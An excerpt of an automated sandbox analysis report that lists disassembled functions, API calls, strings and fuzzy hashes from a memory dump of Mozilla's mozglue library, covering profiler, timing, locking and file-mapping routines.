Part of subcall function 6C6D31C0: FreeLibrary.KERNEL32 ref: 6C6D324B
Part of subcall function 6C6D31C0: __Init_thread_footer.LIBCMT ref: 6C6D3260
Part of subcall function 6C6D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C6D327F
Part of subcall function 6C6D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6D328E
Part of subcall function 6C6D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6D32AB
Part of subcall function 6C6D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6D32D1
Part of subcall function 6C6D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6D32E5
Part of subcall function 6C6D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C6E9675
__Init_thread_footer.LIBCMT ref: 6C6E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C6E9707
__Init_thread_footer.LIBCMT ref: 6C6E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C6E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6E97B7
FreeLibrary.KERNEL32 ref: 6C6E97D0
FreeLibrary.KERNEL32 ref: 6C6E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C6E9824

Strings

ntdll.dll, xrefs: 6C6E96E3
MapViewOfFileNuma2, xrefs: 6C6E97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C6E9670
NtMapViewOfSection, xrefs: 6C6E9701

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 9c371ff2d202802e0e7168949c1775dce8e802cbe610dae17a823f34219c1378
Instruction ID: 72acb920f0d3a6d5d810726fc1841f7a023e3b3d5c3d7e03967bc0a169707514
Opcode Fuzzy Hash: 9c371ff2d202802e0e7168949c1775dce8e802cbe610dae17a823f34219c1378
Instruction Fuzzy Hash: EC61D0B1705205AFDF00DF79D988BDA7BB4EF4A318F90493AE91593780DB30A858CB91

Function 6C736660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C75F618), ref: 6C736694
GetThreadId.KERNEL32(?), ref: 6C7366B1
GetCurrentThreadId.KERNEL32 ref: 6C7366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C7366E1
EnterCriticalSection.KERNEL32(6C75F618), ref: 6C736734
GetCurrentProcess.KERNEL32 ref: 6C73673A
LeaveCriticalSection.KERNEL32(6C75F618), ref: 6C73676C
GetCurrentThread.KERNEL32 ref: 6C7367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C736868
RtlCaptureContext.NTDLL ref: 6C73687F

Strings

WalkStack64, xrefs: 6C736890

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 4fdc189a5074fb80ea9d89e95870ddfeaec11be689ec0ae387d48bd1aba9bd7d
Instruction ID: 70565c4ca3e46dddb33600cc37a569cf5a7f8396f99df0999a1f42f7d0d84383
Opcode Fuzzy Hash: 4fdc189a5074fb80ea9d89e95870ddfeaec11be689ec0ae387d48bd1aba9bd7d
Instruction Fuzzy Hash: 5851C171A09310AFD711CF24CA48B5ABBF4FF89714F44892DF99887641DB70EA18CB92

Function 6C71DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6E4A68), ref: 6C71945E
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C719470
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C719482
Part of subcall function 6C719420: __Init_thread_footer.LIBCMT ref: 6C71949F

GetCurrentThreadId.KERNEL32 ref: 6C71DE73
GetCurrentThreadId.KERNEL32 ref: 6C71DF7D
AcquireSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71DF8A
ReleaseSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71DFC9
GetCurrentThreadId.KERNEL32 ref: 6C71DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C71E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C6E4A68), ref: 6C71DE7B

Part of subcall function 6C7194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7194EE
Part of subcall function 6C7194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C719508

Part of subcall function 6C70CBE8: GetCurrentProcess.KERNEL32(?,6C6D31A7), ref: 6C70CBF1
Part of subcall function 6C70CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6D31A7), ref: 6C70CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C6E4A68), ref: 6C71DEB8
free.MOZGLUE(00000000,?,6C6E4A68), ref: 6C71DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C71DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C71E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C71DE83
<none>, xrefs: 6C71DFD7

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 50af36aa2fb24893634d1936485bb3ab94ab02b7d6da4db2cb4175c96fdce6a7
Instruction ID: 28c6cf737be74a2df03d16004e4ba7aae0ec5b97a8911f104b1d80ec7101ec68
Opcode Fuzzy Hash: 50af36aa2fb24893634d1936485bb3ab94ab02b7d6da4db2cb4175c96fdce6a7
Instruction Fuzzy Hash: B8414731B052109BDB119F64CA0C7AA7779EB5630CF88003AE92597F41CF30A90ACBE6

Function 6C72D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C72D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C72D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C72D52A
GetCurrentThreadId.KERNEL32 ref: 6C72D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C72D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C72D55F
free.MOZGLUE(00000000), ref: 6C72D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C72D5D3
GetCurrentThreadId.KERNEL32 ref: 6C72D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C72D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C72D652
GetCurrentThreadId.KERNEL32 ref: 6C72D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C72D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C72D6A2

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: a066cd79ed66f5f34f7c1b11288bdc3c87b414173f104eea6f39bd94693112ab
Instruction ID: c53629c4cbb66a4a7b709bca943321428b5b994448550b7731c4d1d44bdc82cc
Opcode Fuzzy Hash: a066cd79ed66f5f34f7c1b11288bdc3c87b414173f104eea6f39bd94693112ab
Instruction Fuzzy Hash: 91516971A047059FC704CF35C488AAABBF4FF89358F508A2EE85A87710DB34B945CB95

Function 6C6F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C6F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6F57BC
GetTickCount64.KERNEL32 ref: 6C6F58CB
EnterCriticalSection.KERNEL32(6C75F688), ref: 6C6F58F3
__aulldiv.LIBCMT ref: 6C6F5945
LeaveCriticalSection.KERNEL32(6C75F688), ref: 6C6F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C75F638,?,?,?,?), ref: 6C6F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C6F56CC

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 88dd8d7446754008c7545782d70357fffc4fb5e41d273feec51dee8beaa19144
Instruction ID: 76d220d15a56a991f2cacc85ccb35eafe8e1bcc580d128edcce196fef2ce36da
Opcode Fuzzy Hash: 88dd8d7446754008c7545782d70357fffc4fb5e41d273feec51dee8beaa19144
Instruction Fuzzy Hash: F2C18E31A097809FD705DF28C44066ABBF1FFDA714F45CA2DE8D497660DB30A986CB86

Function 6C71EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6E4A68), ref: 6C71945E
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C719470
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C719482
Part of subcall function 6C719420: __Init_thread_footer.LIBCMT ref: 6C71949F

GetCurrentThreadId.KERNEL32 ref: 6C71EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C71EC8C

Part of subcall function 6C7194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7194EE
Part of subcall function 6C7194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C719508

GetCurrentThreadId.KERNEL32 ref: 6C71ECA1
AcquireSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C71ECC5
ReleaseSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C71ED19
CloseHandle.KERNEL32(?), ref: 6C71ED28
free.MOZGLUE(00000000), ref: 6C71ED2F
ReleaseSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C71EC94

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: b21b19ff0501e11d09dd80cce1e99fb5a9ef076624d7b72920a025eab8a1a2c2
Instruction ID: 5e9ba87c79197d5ab28d4b11e237a578d7d6518358f1d43a3714d86bd6ce7b18
Opcode Fuzzy Hash: b21b19ff0501e11d09dd80cce1e99fb5a9ef076624d7b72920a025eab8a1a2c2
Instruction Fuzzy Hash: 5321E575604108ABDF019F64D90DAAA777AEF4636CF984231FC2897F40DF31AC168BA5

Function 6C718ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C6DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C71B392,?,?,00000001), ref: 6C7191F4

Part of subcall function 6C70CBE8: GetCurrentProcess.KERNEL32(?,6C6D31A7), ref: 6C70CBF1
Part of subcall function 6C70CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6D31A7), ref: 6C70CBFA

Strings

stack-chart, xrefs: 6C7190B2
timeline-ipc, xrefs: 6C719096
timeline-fileio, xrefs: 6C7190A4
data, xrefs: 6C7190E8
marker-chart, xrefs: 6C71905E
timeline-memory, xrefs: 6C719088
name, xrefs: 6C718F16
timeline-overview, xrefs: 6C71907A
marker-table, xrefs: 6C71906C

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 476885faf3c580151644c386366c431144bd08b0896d44dde99eccf8e08f9335
Instruction ID: 26d6235346672248b6bd1c89472aa045343425de2d87781c27fd36c9b2dccc20
Opcode Fuzzy Hash: 476885faf3c580151644c386366c431144bd08b0896d44dde99eccf8e08f9335
Instruction Fuzzy Hash: 5BB104B0A0520A9BDB04CF94C6917EEBBB5FF95318F148029D401ABF80DB31E955CBD4

Function 6C6FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C6FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C6FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6FCAA5

Strings

(null), xrefs: 6C6FC596
0, xrefs: 6C6FD30A

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 58402d1eb57311de84442f6f2c1458b58a31c64b9289f2ab1d9dae6d3a15ad9e
Instruction ID: a568a7ca34662b2328e59de3c0bd3419903358f0cf3828f60cae054592078c1a
Opcode Fuzzy Hash: 58402d1eb57311de84442f6f2c1458b58a31c64b9289f2ab1d9dae6d3a15ad9e
Instruction Fuzzy Hash: 9BA1B1316083419FDB10DF28C55475ABBF2BFCA748F04882DE9AA97741D731E80ACB86

Function 6C6D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C6D3284,?,?,6C6F56F6), ref: 6C6D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C6D3284,?,?,6C6F56F6), ref: 6C6D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C6D3284,?,?,6C6F56F6), ref: 6C6D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C6D350E
__Init_thread_footer.LIBCMT ref: 6C6D3522
__aulldiv.LIBCMT ref: 6C6D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C6D3284,?,?,6C6F56F6), ref: 6C6D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C6D3284,?,?,6C6F56F6), ref: 6C6D3592

Part of subcall function 6C70AB89: EnterCriticalSection.KERNEL32(6C75E370,?,?,?,6C6D34DE,6C75F6CC,?,?,?,?,?,?,?,6C6D3284), ref: 6C70AB94
Part of subcall function 6C70AB89: LeaveCriticalSection.KERNEL32(6C75E370,?,6C6D34DE,6C75F6CC,?,?,?,?,?,?,?,6C6D3284,?,?,6C6F56F6), ref: 6C70ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C6D3508
kernel32.dll, xrefs: 6C6D34EA

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: f7bc34c84e0b76775046cfedf7890a5f613ddf4fa5b9bfa153edb39e78c4fb8c
Instruction ID: fb573e8d0258171a73925807098f4faebb11205adcf60205cd647f3c2e941a4f
Opcode Fuzzy Hash: f7bc34c84e0b76775046cfedf7890a5f613ddf4fa5b9bfa153edb39e78c4fb8c
Instruction Fuzzy Hash: 443191B1F002099BDF04DFB9C958ABA77B9FB49305F954139E505A3690DF74BA04CB60

Function 6C6D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C714843,?), ref: 6C6D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C714843,?), ref: 6C6D468A
free.MOZGLUE(?,?,?,?,?,?,6C714843,?), ref: 6C6D46C9
free.MOZGLUE(?), ref: 6C6D46EF
free.MOZGLUE(?), ref: 6C6D4712
free.MOZGLUE(?), ref: 6C6D4735
free.MOZGLUE(?), ref: 6C6D4758
free.MOZGLUE(?), ref: 6C6D477B
free.MOZGLUE(?), ref: 6C6D479E

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 2ad7733eb1c942e110d62b5c6a2653b2a2280db973a63aebe3f208b693cea7c6
Instruction ID: 24b88d1e509ccbd2aeace68e21c0938bee48a708d97972dbb779ec4affc62470
Opcode Fuzzy Hash: 2ad7733eb1c942e110d62b5c6a2653b2a2280db973a63aebe3f208b693cea7c6
Instruction Fuzzy Hash: 09B1E671A041508FDB188F3CD8D07BD76A2AF46318F1A4669E416DBB96D7B1EC808B49

Function 6C73AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C73AC52
CreateFileMappingW.KERNEL32 ref: 6C73AC7D
GetSystemInfo.KERNEL32 ref: 6C73AC98
MapViewOfFile.KERNEL32 ref: 6C73ACB0
GetSystemInfo.KERNEL32 ref: 6C73ACCD
MapViewOfFile.KERNEL32 ref: 6C73AD05
UnmapViewOfFile.KERNEL32 ref: 6C73AD1C
CloseHandle.KERNEL32 ref: 6C73AD28
UnmapViewOfFile.KERNEL32 ref: 6C73AD37
CloseHandle.KERNEL32 ref: 6C73AD43
CloseHandle.KERNEL32 ref: 6C73AD67

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: b2c8a942ab846efdf809193745710f538f3816d5aea1fd96701f59dfbf7f8c20
Instruction ID: fe0599d8b444dfd752c985318327c5c183249d3ff1f7c384356ab14a04203b6d
Opcode Fuzzy Hash: b2c8a942ab846efdf809193745710f538f3816d5aea1fd96701f59dfbf7f8c20
Instruction Fuzzy Hash: 013151B1A047048FDB00EF78D64926EBBF4BF85315F45893DE98997251EF70A448CB82

Function 6C6E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C6E9675
__Init_thread_footer.LIBCMT ref: 6C6E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C6E9707
__Init_thread_footer.LIBCMT ref: 6C6E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C6E9773

Part of subcall function 6C70AB89: EnterCriticalSection.KERNEL32(6C75E370,?,?,?,6C6D34DE,6C75F6CC,?,?,?,?,?,?,?,6C6D3284), ref: 6C70AB94
Part of subcall function 6C70AB89: LeaveCriticalSection.KERNEL32(6C75E370,?,6C6D34DE,6C75F6CC,?,?,?,?,?,?,?,6C6D3284,?,?,6C6F56F6), ref: 6C70ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6E97B7
FreeLibrary.KERNEL32 ref: 6C6E97D0
FreeLibrary.KERNEL32 ref: 6C6E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C6E9824

Strings

ntdll.dll, xrefs: 6C6E96E3
MapViewOfFileNuma2, xrefs: 6C6E97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C6E9670
NtMapViewOfSection, xrefs: 6C6E9701

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
